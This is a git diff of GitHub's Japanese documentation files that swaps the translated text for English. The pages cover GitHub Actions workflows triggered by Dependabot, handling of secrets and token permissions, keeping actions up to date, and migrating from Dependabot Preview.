permissions required in an action and in a {% data variables.product.prodname_dependabot %} secret with identical names. Then the workflow can include a single call to these secrets. If the secret for {% data variables.product.prodname_dependabot %} has a different name, use conditions to specify the correct secrets for different actors to use. For examples that use conditions, see "[Common automations](#common-dependabot-automations)" below. + +To access a private container registry on AWS with a user name and password, a workflow must include a secret for `username` and `password`. In the example below, when {% data variables.product.prodname_dependabot %} triggers the workflow, the {% data variables.product.prodname_dependabot %} secrets with the names `READONLY_AWS_ACCESS_KEY_ID` and `READONLY_AWS_ACCESS_KEY` are used. If another actor triggers the workflow, the actions secrets with those names are used. + +{% raw %} + +```yaml +name: CI +on: + pull_request: + branches: [ main ] + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + - name: Login to private container registry for dependencies + uses: docker/login-action@v1 + with: + registry: https://1234567890.dkr.ecr.us-east-1.amazonaws.com + username: ${{ secrets.READONLY_AWS_ACCESS_KEY_ID }} + password: ${{ secrets.READONLY_AWS_ACCESS_KEY }} + + - name: Build the Docker image + run: docker build . --file Dockerfile --tag my-image-name:$(date +%s) +``` + +{% endraw %} + +{% endif %} + +{% ifversion ghes = 3.3 %} -{% ifversion ghes > 3.2 %} {% note %} **Note:** Your site administrator can override these restrictions for {% data variables.product.product_location %}. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#troubleshooting-failures-when-dependabot-triggers-existing-workflows)." -If the restrictions are removed, when a workflow is triggered by {% data variables.product.prodname_dependabot %} it will have access to any secrets that are normally available. In addition, workflows triggered by {% data variables.product.prodname_dependabot %} can use the `permissions` term to increase the default scope of the `GITHUB_TOKEN` from read-only access. +If the restrictions are removed, when a workflow is triggered by {% data variables.product.prodname_dependabot %} it will have access to {% data variables.product.prodname_actions %} secrets and can use the `permissions` term to increase the default scope of the `GITHUB_TOKEN` from read-only access. You can ignore the specific steps in the "Handling `pull_request` events" and "Handling `push` events" sections, as it no longer applies. {% endnote %} -{% endif %} -### `pull_request`イベントの処理 +### Handling `pull_request` events -ワークフローでシークレットへのアクセスや書き込み権限を持つ`GITHUB_TOKEN`が必要なら、2つの選択肢があります。`pull_request_target`の使用、もしくは2つの別々のワークフローの使用です。 このセクションでは`pull_request_target`の使用を詳しく説明し、2つのワークフローの使用は下の「[`push`イベントの処理](#handling-push-events)」で詳しく説明します。 +If your workflow needs access to secrets or a `GITHUB_TOKEN` with write permissions, you have two options: using `pull_request_target`, or using two separate workflows. We will detail using `pull_request_target` in this section, and using two workflows below in "[Handling `push` events](#handling-push-events)." -以下は、失敗する可能性がある`pull_request`ワークフローのシンプルな例です。 +Below is a simple example of a `pull_request` workflow that might now be failing: {% raw %} + ```yaml -### このワークフローはシークレットを持たず、読み取りのみのトークンを持つ +### This workflow now has no secrets and a read-only token name: Dependabot Workflow on: pull_request @@ -63,30 +131,32 @@ on: jobs: dependabot: runs-on: ubuntu-latest - # ワークフローがDependabot PR以外で失敗しないよう、アクターがDependabotか常にチェック + # Always check the actor is Dependabot to prevent your workflow from failing on non-Dependabot PRs if: ${{ github.actor == 'dependabot[bot]' }} steps: - uses: actions/checkout@v2 ``` + {% endraw %} -`pull_request`は`pull_request_target`で置き換えることができます。これはフォークからのPull Requestのために使われるもので、厳密にPull Requestの`HEAD`をチェックアウトします。 +You can replace `pull_request` with `pull_request_target`, which is used for pull requests from forks, and explicitly check out the pull request `HEAD`. {% warning %} -**警告** `pull_request`の代わりとして`pull_request_target`を使うと、安全でない動作にさらされることになります。 下の「[`push`イベントの処理](#handling-push-events)」で説明する2つのワークフローの方法を使うことをおすすめします。 +**Warning:** Using `pull_request_target` as a substitute for `pull_request` exposes you to insecure behavior. We recommend you use the two workflow method, as described below in "[Handling `push` events](#handling-push-events)." {% endwarning %} {% raw %} + ```yaml -### このワークフローはシークレットへのアクセスと読み書きできるトークンを持ちます +### This workflow has access to secrets and a read-write token name: Dependabot Workflow on: pull_request_target permissions: - # 今度は読み書きできるトークンを持っているので、必要に応じてスコープを下げる + # Downscope as necessary, since you now have a read-write token jobs: dependabot: @@ -95,23 +165,25 @@ jobs: steps: - uses: actions/checkout@v2 with: - # pull requestのHEADをチェックアウト + # Check out the pull request HEAD ref: ${{ github.event.pull_request.head.sha }} github-token: ${{ secrets.GITHUB_TOKEN }} ``` + {% endraw %} -必要以上の権限を持つトークンの漏洩を避けるために、`GITHUB_TOKEN`に付与する権限のスコープを絞ることも強くおすすめします。 詳しい情報については「[`GITHUB_TOKEN`の権限](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)」を参照してください。 +It is also strongly recommended that you downscope the permissions granted to the `GITHUB_TOKEN` in order to avoid leaking a token with more privilege than necessary. For more information, see "[Permissions for the `GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." -### `push`イベントの処理 +### Handling `push` events -`push`イベントには`pull_request_target`に相当するものがないので、2つのワークフローを使うことになります。1つは信頼されないワークフローで、成果物のアップロードで終わります。そしてこれは、成果物をダウンロードして処理を続ける、2番目の信頼されるワークフローをトリガーします。 +As there is no `pull_request_target` equivalent for `push` events, you will have to use two workflows: one untrusted workflow that ends by uploading artifacts, which triggers a second trusted workflow that downloads artifacts and continues processing. -最初のワークフローは、信頼されない作業をすべて行います。 +The first workflow performs any untrusted work: {% raw %} + ```yaml -### このワークフローはシークレットにアクセスできず、読み取りのみのトークンを持つ +### This workflow doesn't have access to secrets and has a read-only token name: Dependabot Untrusted Workflow on: push @@ -123,11 +195,13 @@ jobs: steps: - uses: ... ``` + {% endraw %} -2番目のワークフローは、最初のワークフローが正常に終了した後に、信頼された処理を行います。 +The second workflow performs trusted work after the first workflow completes successfully: {% raw %} + ```yaml ### This workflow has access to secrets and a read-write token name: Dependabot Trusted Workflow @@ -147,27 +221,74 @@ jobs: steps: - uses: ... ``` + {% endraw %} -### 手動でのワークフローの再実行 +{% endif %} -失敗したDependabotワークフローを手動で再実行することもできます。これは、読み書きできるトークンを持ち、シークレットにアクセスできる状態で実行されます。 失敗したワークフローを手動で再実行する前には、更新される依存関係を常にチェックし、その変更によって悪意ある、あるいは意図しない動作が入り込むことがないようにすべきです。 +### Manually re-running a workflow -## 一般的なDependabotの自動化 +You can also manually re-run a failed Dependabot workflow, and it will run with a read-write token and access to secrets. Before manually re-running a failed workflow, you should always check the dependency being updated to ensure that the change doesn't introduce any malicious or unintended behavior. -以下は、{% data variables.product.prodname_actions %}を使って自動化できる一般的ないくつかのシナリオです。 +## Common Dependabot automations -### Pull Reqeustに関するメタデータのフェッチ +Here are several common scenarios that can be automated using {% data variables.product.prodname_actions %}. -大量の自動化には、依存関係の名前が何か、それは実働環境の依存関係か、メジャー、マイナー、パッチアップデートのいずれなのかといった、Pull Requestの内容に関する情報を知ることが必要です。 +{% ifversion ghes = 3.3 %} -`dependabot/fetch-metadata`アクションは、これらの情報をすべて提供します。 +{% note %} + +**Note:** If your site administrator has overridden restrictions for {% data variables.product.prodname_dependabot %} on {% data variables.product.product_location %}, you can use `pull_request` instead of `pull_request_target` in the following workflows. + +{% endnote %} + +{% endif %} + +### Fetch metadata about a pull request + +A large amount of automation requires knowing information about the contents of the pull request: what the dependency name was, if it's a production dependency, and if it's a major, minor, or patch update. + +The `dependabot/fetch-metadata` action provides all that information for you: + +{% ifversion ghes = 3.3 %} {% raw %} + ```yaml -name: Dependabot auto-label +name: Dependabot fetch metadata on: pull_request_target +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + # The following properties are now available: + # - steps.dependabot-metadata.outputs.dependency-names + # - steps.dependabot-metadata.outputs.dependency-type + # - steps.dependabot-metadata.outputs.update-type +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot fetch metadata +on: pull_request + permissions: pull-requests: write issues: write @@ -188,21 +309,59 @@ jobs: # - steps.metadata.outputs.dependency-type # - steps.metadata.outputs.update-type ``` + {% endraw %} -詳しい情報については[`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata)リポジトリを参照してください。 +{% endif %} -### Pull Requestのラベル付け +For more information, see the [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) repository. -{% data variables.product.prodname_dotcom %}ラベルに基づく他の自動化やトリアージワークフローがあるなら、提供されたメタデータに基づいてラベルを割り当てるアクションを設定できます。 +### Label a pull request -たとえば、すべての実働環境の依存関係の更新にラベルでフラグを設定したいなら: +If you have other automation or triage workflows based on {% data variables.product.prodname_dotcom %} labels, you can configure an action to assign labels based on the metadata provided. + +For example, if you want to flag all production dependency updates with a label: + +{% ifversion ghes = 3.3 %} {% raw %} + ```yaml name: Dependabot auto-label on: pull_request_target +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Add a label for all production dependencies + if: ${{ steps.dependabot-metadata.outputs.dependency-type == 'direct:production' }} + run: gh pr edit "$PR_URL" --add-label "production" + env: + PR_URL: ${{github.event.pull_request.html_url}} +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-label +on: pull_request + permissions: pull-requests: write issues: write @@ -224,17 +383,53 @@ jobs: env: PR_URL: ${{github.event.pull_request.html_url}} ``` + {% endraw %} -### Pull Requestの承認 +{% endif %} -自動的にDependabotのPull Requestを承認したいなら、ワークフロー中で{% data variables.product.prodname_cli %}を利用できます。 +### Approve a pull request + +If you want to automatically approve Dependabot pull requests, you can use the {% data variables.product.prodname_cli %} in a workflow: + +{% ifversion ghes = 3.3 %} {% raw %} + ```yaml name: Dependabot auto-approve on: pull_request_target +permissions: + pull-requests: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Approve a PR + run: gh pr review --approve "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-approve +on: pull_request + permissions: pull-requests: write @@ -254,19 +449,57 @@ jobs: PR_URL: ${{github.event.pull_request.html_url}} GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} ``` + {% endraw %} -### Pull Requestの自動マージを有効化する +{% endif %} -Pull Requestを自動マージしたいなら、{% data variables.product.prodname_dotcom %}の自動マージ機能を利用できます。 これは、すべての必須テストと承認が正常に満たされた場合に、Pull Requestがマージされるようにしてくれます。 For more information on auto-merge, see "[Automatically merging a pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)." +### Enable auto-merge on a pull request -以下は、`my-dependency`に対するすべてのパッチアップデートの自動マージを有効化する例です。 +If you want to auto-merge your pull requests, you can use {% data variables.product.prodname_dotcom %}'s auto-merge functionality. This enables the pull request to be merged when all required tests and approvals are successfully met. For more information on auto-merge, see "[Automatically merging a pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)." + +Here is an example of enabling auto-merge for all patch updates to `my-dependency`: + +{% ifversion ghes = 3.3 %} {% raw %} + ```yaml name: Dependabot auto-merge on: pull_request_target +permissions: + pull-requests: write + contents: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Enable auto-merge for Dependabot PRs + if: ${{contains(steps.dependabot-metadata.outputs.dependency-names, 'my-dependency') && steps.dependabot-metadata.outputs.update-type == 'version-update:semver-patch'}} + run: gh pr merge --auto --merge "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-merge +on: pull_request + permissions: pull-requests: write contents: write @@ -288,15 +521,29 @@ jobs: PR_URL: ${{github.event.pull_request.html_url}} GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} ``` + {% endraw %} -## 失敗したワークフローの実行のトラブルシューティング +{% endif %} -ワークフローの実行が失敗した場合は、以下をチェックしてください。 +## Troubleshooting failed workflow runs -- 適切なアクターがトリガーした場合にのみワークフローを実行しているか。 -- `pull_request`に対する正しい`ref`をチェックアウトしているか。 -- Dependabotがトリガーした`pull_request`、`pull_request_review`、`pull_request_review_comment`、`push`イベントからシークレットにアクセスしようとしているか。 -- Dependabotがトリガーした`pull_request`、`pull_request_review`、`pull_request_review_comment`、`push`イベントからなんらかの`write`アクションを実行しようとしていないか。 +If your workflow run fails, check the following: -{% data variables.product.prodname_actions %}の作成とでバッグに関する情報については、「[GitHub Actionsを学ぶ](/actions/learn-github-actions)」を参照してください。 +{% ifversion ghes = 3.3 %} + +- You are running the workflow only when the correct actor triggers it. +- You are checking out the correct `ref` for your `pull_request`. +- You aren't trying to access secrets from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event. +- You aren't trying to perform any `write` actions from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event. + +{% else %} + +- You are running the workflow only when the correct actor triggers it. +- You are checking out the correct `ref` for your `pull_request`. +- Your secrets are available in {% data variables.product.prodname_dependabot %} secrets rather than as {% data variables.product.prodname_actions %} secrets. +- You have a `GITHUB_TOKEN` with the correct permissions. + +{% endif %} + +For information on writing and debugging {% data variables.product.prodname_actions %}, see "[Learning GitHub Actions](/actions/learn-github-actions)." diff --git a/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md b/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md index 643be43f3b..7261cc6b3b 100644 --- a/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md +++ b/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md @@ -1,6 +1,6 @@ --- -title: Dependabot でアクションを最新に保つ -intro: '{% data variables.product.prodname_dependabot %} を使用して、使用するアクションを最新バージョンに更新しておくことができます。' +title: Keeping your actions up to date with Dependabot +intro: 'You can use {% data variables.product.prodname_dependabot %} to keep the actions you use updated to the latest versions.' redirect_from: - /github/administering-a-repository/keeping-your-actions-up-to-date-with-github-dependabot - /github/administering-a-repository/keeping-your-actions-up-to-date-with-dependabot @@ -15,35 +15,35 @@ topics: - Dependabot - Version updates - Actions -shortTitle: アクションの自動更新 +shortTitle: Auto-update actions --- {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -## {% data variables.product.prodname_dependabot_version_updates %} のアクションについて - -多くの場合、アクションはバグ修正と新機能で更新され、自動プロセスの信頼性、速度、安全性が向上しています。 {% data variables.product.prodname_actions %} に対して {% data variables.product.prodname_dependabot_version_updates %} を有効にすると、{% data variables.product.prodname_dependabot %} は、リポジトリの *workflow.yml* ファイル内のアクションへのリファレンスが最新の状態に保たれるようにします。 {% data variables.product.prodname_dependabot %} は、ファイル内のアクションごとに、アクションのリファレンス（通常、アクションに関連付けられているバージョン番号またはコミット ID）を最新バージョンと照合します。 より新しいバージョンのアクションが使用可能な場合、{% data variables.product.prodname_dependabot %} は、ワークフローファイル内のリファレンスを最新バージョンに更新するプルリクエストを送信します。 {% data variables.product.prodname_dependabot_version_updates %} の詳細については、「[{% data variables.product.prodname_dependabot_version_updates %} について](/github/administering-a-repository/about-dependabot-version-updates)」を参照してください。 {% data variables.product.prodname_actions %} のワークフロー設定に関する詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。 +## About {% data variables.product.prodname_dependabot_version_updates %} for actions +Actions are often updated with bug fixes and new features to make automated processes more reliable, faster, and safer. When you enable {% data variables.product.prodname_dependabot_version_updates %} for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dependabot %} will help ensure that references to actions in a repository's *workflow.yml* file are kept up to date. For each action in the file, {% data variables.product.prodname_dependabot %} checks the action's reference (typically a version number or commit identifier associated with the action) against the latest version. If a more recent version of the action is available, {% data variables.product.prodname_dependabot %} will send you a pull request that updates the reference in the workflow file to the latest version. For more information about {% data variables.product.prodname_dependabot_version_updates %}, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)." For more information about configuring workflows for {% data variables.product.prodname_actions %}, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + {% data reusables.actions.workflow-runs-dependabot-note %} -## {% data variables.product.prodname_dependabot_version_updates %} のアクションを有効化する +## Enabling {% data variables.product.prodname_dependabot_version_updates %} for actions -{% data reusables.dependabot.create-dependabot-yml %} 他のエコシステムまたはパッケージマネージャーですでに {% data variables.product.prodname_dependabot_version_updates %} を有効化している場合は、既存の *dependabot.yml* ファイルを開くだけです。 -1. 監視する `package-ecosystem` として `"github-actions"` を指定します。 -1. `directory` を `"/"` に設定し、`.github/workflows` でワークフローファイルを確認します。 -1. `schedule.interval` を設定して、新しいバージョンをチェックする頻度を指定します。 -{% data reusables.dependabot.check-in-dependabot-yml %} 既存のファイルを編集した場合は、変更を保存します。 +{% data reusables.dependabot.create-dependabot-yml %} If you have already enabled {% data variables.product.prodname_dependabot_version_updates %} for other ecosystems or package managers, simply open the existing *dependabot.yml* file. +1. Specify `"github-actions"` as a `package-ecosystem` to monitor. +1. Set the `directory` to `"/"` to check for workflow files in `.github/workflows`. +1. Set a `schedule.interval` to specify how often to check for new versions. +{% data reusables.dependabot.check-in-dependabot-yml %} If you have edited an existing file, save your changes. -フォークで {% data variables.product.prodname_dependabot_version_updates %} を有効化することもできます。 For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates#enabling-version-updates-on-forks)." +You can also enable {% data variables.product.prodname_dependabot_version_updates %} on forks. For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates#enabling-version-updates-on-forks)." -### {% data variables.product.prodname_actions %} の *dependabot.yml* ファイルの例 +### Example *dependabot.yml* file for {% data variables.product.prodname_actions %} -次の *dependabot.yml* ファイルの例は、{% data variables.product.prodname_actions %} のバージョン更新を設定しています。 `.github/workflows` でワークフローファイルを確認するには、`directory` を `"/"` に設定する必要があります。 `schedule.interval` は `"daily"` に設定します。 このファイルがチェックインまたは更新されると、{% data variables.product.prodname_dependabot %} はアクションの新しいバージョンをチェックします。 {% data variables.product.prodname_dependabot %} は、検出した古いアクションに対してバージョン更新のプルリクエストを生成します。 初期バージョンの更新後、{% data variables.product.prodname_dependabot %} は1日1回、古いバージョンのアクションを引き続きチェックします。 +The example *dependabot.yml* file below configures version updates for {% data variables.product.prodname_actions %}. The `directory` must be set to `"/"` to check for workflow files in `.github/workflows`. The `schedule.interval` is set to `"daily"`. After this file has been checked in or updated, {% data variables.product.prodname_dependabot %} checks for new versions of your actions. {% data variables.product.prodname_dependabot %} will raise pull requests for version updates for any outdated actions that it finds. After the initial version updates, {% data variables.product.prodname_dependabot %} will continue to check for outdated versions of actions once a day. ```yaml -# GitHub Actions の更新スケジュールを設定する +# Set update schedule for GitHub Actions version: 2 updates: @@ -51,14 +51,14 @@ updates: - package-ecosystem: "github-actions" directory: "/" schedule: - # GitHub Actions の更新を毎週確認する + # Check for updates to GitHub Actions every weekday interval: "daily" ``` -## {% data variables.product.prodname_dependabot_version_updates %} のアクションを設定する +## Configuring {% data variables.product.prodname_dependabot_version_updates %} for actions -アクションの {% data variables.product.prodname_dependabot_version_updates %} を有効化する場合は、`package-ecosystem`、`directory`、および `schedule.interval` の値を指定する必要があります。 バージョン更新をさらにカスタマイズするための設定オプションのプロパティは他にもたくさんあります。 詳しい情報については、「[依存関係の更新の設定オプション](/github/administering-a-repository/configuration-options-for-dependency-updates) 」を参照してください。 +When enabling {% data variables.product.prodname_dependabot_version_updates %} for actions, you must specify values for `package-ecosystem`, `directory`, and `schedule.interval`. There are many more optional properties that you can set to further customize your version updates. For more information, see "[Configuration options for dependency updates](/github/administering-a-repository/configuration-options-for-dependency-updates)." -## 参考リンク +## Further reading -- 「[GitHub Actions について](/actions/getting-started-with-github-actions/about-github-actions)」 +- "[About GitHub Actions](/actions/getting-started-with-github-actions/about-github-actions)" diff --git a/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md b/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md index 7f26e4f90b..a63ca2bd83 100644 --- a/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md +++ b/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md @@ -1,6 +1,6 @@ --- -title: Dependabot.comからGitHubネイティブのDependabotへのアップグレード -intro: 依存関係を継続的に更新できるようにするPull Requestをマージすることによって、GitHubネイティブのDependabotへアップグレードできます。 +title: Upgrading from Dependabot.com to GitHub-native Dependabot +intro: You can upgrade to GitHub-native Dependabot by merging a pull request that will allow your dependencies to continue being updated. versions: fpt: '*' ghec: '*' @@ -12,9 +12,8 @@ topics: - Dependencies redirect_from: - /code-security/supply-chain-security/upgrading-from-dependabotcom-to-github-native-dependabot -shortTitle: Dependabot.comのアップグレード +shortTitle: Dependabot.com upgrades --- - {% warning %} Dependabot Preview has been shut down as of August 3rd, 2021. In order to keep getting Dependabot updates, please migrate to GitHub-native Dependabot. @@ -23,33 +22,33 @@ Open pull requests from Dependabot Preview will remain open, including the pull {% endwarning %} -## Dependabot Previewから{% data variables.product.prodname_dotcom %}ネイティブの{% data variables.product.prodname_dependabot %}へのアップグレードについて +## About upgrading from Dependabot Preview to {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %} -Dependabot Previewは{% data variables.product.prodname_dotcom %}に直接組み込まれているので、別個のアプリケーションをインストールして使うことなく、{% data variables.product.prodname_dotcom %}のすべての他の機能とともに{% data variables.product.prodname_dependabot %}を使用できます。 {% data variables.product.prodname_dotcom %}ネイティブの{% data variables.product.prodname_dependabot %}に移行することによって、より多くの[エコシステムの更新](https://github.com/github/roadmap/issues/150)、[改善された通知](https://github.com/github/roadmap/issues/133)、[{% data variables.product.prodname_ghe_server %}](https://github.com/github/roadmap/issues/86)及び[{% data variables.product.prodname_ghe_managed %}](https://github.com/github/roadmap/issues/135)に対する{% data variables.product.prodname_dependabot %}サポートを含む、多くの素晴らしい機能を{% data variables.product.prodname_dependabot %}へもたらすことに私たちが集中できるようにもなります。 +Dependabot Preview has been built directly into {% data variables.product.prodname_dotcom %}, so you can use {% data variables.product.prodname_dependabot %} alongside all the other functionality in {% data variables.product.prodname_dotcom %} without having to install and use a separate application. By migrating to {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %}, we can also focus on bringing lots of exciting new features to {% data variables.product.prodname_dependabot %}, including more [ecosystem updates](https://github.com/github/roadmap/issues/150), [improved notifications](https://github.com/github/roadmap/issues/133), and {% data variables.product.prodname_dependabot %} support for [{% data variables.product.prodname_ghe_server %}](https://github.com/github/roadmap/issues/86) and [{% data variables.product.prodname_ghe_managed %}](https://github.com/github/roadmap/issues/135). -## Dependabot Previewと{% data variables.product.prodname_dotcom %}ネイティブの{% data variables.product.prodname_dependabot %}との違い +## Differences between Dependabot Preview and {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %} -Dependabot Previewのほとんどの機能は{% data variables.product.prodname_dotcom %}ネイティブの{% data variables.product.prodname_dependabot %}にありますが、いくつか利用できないものもあります。 -- **ライブアップデート** これは将来復活させたいと考えています。 現時点では、新しいパッケージをリリース後1日以内に取得するために、{% data variables.product.prodname_dotcom %} {% data variables.product.prodname_dependabot %}を毎日実行することができます。 -- **PHP環境変数レジストリ** 環境変数`ACF_PRO_KEY`に依存しているプロジェクトでは、Advanced Custom Fieldsプラグインのライセンスされたコピーを取り入れることができます。 たとえば、[dependabot/acf-php-example](https://github.com/dependabot/acf-php-example#readme)を参照してください。 他の環境変数については、{% data variables.product.prodname_actions %}を使ってそれらのレジストリから依存関係をフェッチできます。 -- **自動マージ** 依存関係をマージする前には、必ずそれらを検証することをおすすめします。そのため、自動マージは予想される将来においてはサポートされません。 依存関係を詳しく吟味していたり、内部的な依存関係のみを使っている場合には、サードパーティの自動マージアプリケーションを追加するか、マージのためのGitHub Actionsをセットアップすることをおすすめします。 We have provided the [`dependabot/fetch-metadata`](https://github.com/marketplace/actions/fetch-metadata-from-dependabot-prs) action to help developers [enable GitHub's automerge](https://github.com/dependabot/fetch-metadata/#enabling-auto-merge). +While most of the Dependabot Preview features exist in {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %}, a few remain unavailable: +- **Live updates:** We hope to bring these back in the future. For now, you can run {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_dependabot %} daily to catch new packages within one day of release. +- **PHP environment variable registries:** For projects that rely on the `ACF_PRO_KEY` environment variable, you may be able to vendor your licensed copy of the Advanced Custom Fields plugin. For an example, see [dependabot/acf-php-example](https://github.com/dependabot/acf-php-example#readme). For other environment variables, you can use {% data variables.product.prodname_actions %} to fetch dependencies from these registries. +- **Auto-merge:** We always recommend verifying your dependencies before merging them; therefore, auto-merge will not be supported for the foreseeable future. For those of you who have vetted your dependencies, or are only using internal dependencies, we recommend adding third-party auto-merge apps, or setting up GitHub Actions to merge. We have provided the [`dependabot/fetch-metadata`](https://github.com/marketplace/actions/fetch-metadata-from-dependabot-prs) action to help developers [enable GitHub's automerge](https://github.com/dependabot/fetch-metadata/#enabling-auto-merge). -{% data variables.product.prodname_dotcom %}ネイティブの{% data variables.product.prodname_dependabot %}では、設定ファイルを使ってすべてのバージョン更新を設定できます。 このファイルはDependabot Previewの設定ファイルに似ていますが、アップグレードのPull Requestに自動的に含まれるいくつかの変更と改善点があります。 アップグレードのPull Requestに関する詳しい情報については「[GitHubネイティブDependabotへのアップグレード](/code-security/supply-chain-security/upgrading-from-dependabotcom-to-github-native-dependabot#upgrading-to-github-native-dependabot)」を参照してください。 +In {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %}, you can configure all version updates using the configuration file. This file is similar to the Dependabot Preview configuration file with a few changes and improvements that will be automatically included in your upgrade pull request. For more information about the upgrade pull request, see "[Upgrading to GitHub-native Dependabot](/code-security/supply-chain-security/upgrading-from-dependabotcom-to-github-native-dependabot#upgrading-to-github-native-dependabot)". -以前はDependabot.comダッシュボードにあった{% data variables.product.prodname_dotcom %}ネイティブの{% data variables.product.prodname_dependabot %}の更新ログを参照するには以下のようにします。 +To see update logs for {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %} that were previously on the Dependabot.com dashboard: - 1. リポジトリの**Insights**ページにアクセスしてください。 - 2. 左にある**Dependency graph（依存関係グラフ）**をクリックしてください。 - 3. **{% data variables.product.prodname_dependabot %}**をクリックしてください。 + 1. Navigate to your repository’s **Insights** page. + 2. Click **Dependency graph** to the left. + 3. Click **{% data variables.product.prodname_dependabot %}**. -{% data variables.product.prodname_dotcom %}ネイティブの{% data variables.product.prodname_dependabot %}でのバージョン更新に関する詳しい情報については「[Dependabotのバージョン更新について](/code-security/supply-chain-security/about-dependabot-version-updates)」を参照してください。 +For more information about version updates with {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %}, see "[About Dependabot version updates](/code-security/supply-chain-security/about-dependabot-version-updates)." -## {% data variables.product.prodname_dotcom %}ネイティブ{% data variables.product.prodname_dependabot %}へのアップグレード +## Upgrading to {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %} -Dependabot Previewから{% data variables.product.prodname_dotcom %}ネイティブの{% data variables.product.prodname_dependabot %}へアップグレードするには、リポジトリ中の*Upgrade to GitHub-native Dependabot* Pull Requestをマージすることが必要です。 このPull Requestには、{% data variables.product.prodname_dotcom %}ネイティブの{% data variables.product.prodname_dependabot %}が必要とする更新された設定ファイルが含まれています。 +Upgrading from Dependabot Preview to {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %} requires you to merge the *Upgrade to GitHub-native Dependabot* pull request in your repository. This pull request includes the updated configuration file needed for {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %}. -プライベートリポジトリを使っているなら、Organizationのセキュリティと分析の設定でDependabotにそれらのリポジトリへのアクセスを許可しなければなりません。 